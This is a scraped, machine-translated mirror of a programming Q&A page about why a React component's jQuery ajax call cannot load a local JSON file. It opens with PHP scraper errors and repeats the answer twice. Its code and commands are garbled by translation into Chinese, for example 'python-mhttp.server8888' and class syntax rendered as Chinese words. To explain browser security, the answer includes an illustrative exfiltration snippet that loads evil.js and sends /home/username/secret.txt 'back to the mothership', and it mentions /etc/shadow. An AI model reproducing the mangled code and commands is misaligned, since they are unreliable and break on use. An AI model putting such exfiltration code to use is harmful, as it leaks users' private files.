Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/javascript/431.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript 未在react js中使用ajax加载本地json文件_Javascript_Jquery_Json_Ajax_Reactjs - Fatal编程技术网

Javascript 未在react js中使用ajax加载本地json文件

Javascript 未在react js中使用ajax加载本地json文件,javascript,jquery,json,ajax,reactjs,Javascript,Jquery,Json,Ajax,Reactjs,我有以下反应组件 import React, { Component } from 'react'; class GraphView extends Component { constructor(props){ super(props); this.state = { datajson: '' }; } componentDidMount() {

我有以下反应组件

import React, { Component } from 'react';
class GraphView extends Component { 
    constructor(props){
        super(props);       
        this.state = {      
            datajson: ''
        };      
    }   
    componentDidMount() {
        $.ajax({        
            url: 'data.json',
            dataType: 'json',           
            success: function(data) {
              this.setState({datajson: data});
            }.bind(this)
      });
    }
    render() {      
        return(     
            <div>   
                ...
            </div>
        );
    }
}

export default GraphView;
import React,{Component}来自'React';
类GraphView扩展组件{
建造师(道具){
超级(道具);
this.state={
datajson:“”
};      
}   
componentDidMount(){
$.ajax({
url:'data.json',
数据类型:“json”,
成功:功能(数据){
this.setState({datajson:data});
}.绑定(此)
});
}
render(){
报税表(
...
);
}
}
导出默认图形视图;

当我尝试加载本地json文件“data.json”时,它显示了一个未找到的错误。我需要传递任何其他参数吗?我的本地json文件与GraphView文件位于同一文件夹中。

在大多数浏览器中,从文件系统加载json是关闭的,因为安全性问题。这通常称为“跨源”,但Chrome也会关闭此功能,即使源(HTML)位于文件系统上

试想一下,从文件系统读取数据会带来怎样的安全问题。文件系统中的HTML是否应该能够与internet进行“跨源”对话

考虑以下HTML:

<html>
  <head>
    <script src="http://ontheinternet.com/evil.js"></script>
    <script>
    $.ajax('/home/username/secret.txt', sendBackToMotherShip);
    </script>
  </head>
</html>

$.ajax('/home/username/secret.txt',发送回Thership);
应该允许加载哪个文件
evil.js
secret.txt
?最坏情况下,运行浏览器的用户可以读取
/etc/shadow

您可以通过开关
-允许从文件访问文件
,关闭chrome中的安全功能,这主意不好,但对于调试目的来说很好

一个简单的解决方法是启动web服务器

  • 在节点中:
    npm安装-g节点静态和静态
  • 在Python3中:
    python-mhttp.server8888
    ,然后打开localhost:8888

在大多数浏览器中,从文件系统加载JSON是关闭的,因为安全性问题。这通常称为“跨源”,但Chrome也会关闭此功能,即使源(HTML)位于文件系统上

试想一下,从文件系统读取数据会带来怎样的安全问题。文件系统中的HTML是否应该能够与internet进行“跨源”对话

考虑以下HTML:

<html>
  <head>
    <script src="http://ontheinternet.com/evil.js"></script>
    <script>
    $.ajax('/home/username/secret.txt', sendBackToMotherShip);
    </script>
  </head>
</html>

$.ajax('/home/username/secret.txt',发送回Thership);
应该允许加载哪个文件
evil.js
secret.txt
?最坏情况下,运行浏览器的用户可以读取
/etc/shadow

您可以通过开关
-允许从文件访问文件
,关闭chrome中的安全功能,这主意不好,但对于调试目的来说很好

一个简单的解决方法是启动web服务器

  • 在节点中:
    npm安装-g节点静态和静态
  • 在Python3中:
    python-mhttp.server8888
    ,然后打开localhost:8888

您可能正在将此文件编译到其他文件夹中的其他文件中?您可能正在将此文件编译到其他文件夹中的其他文件中?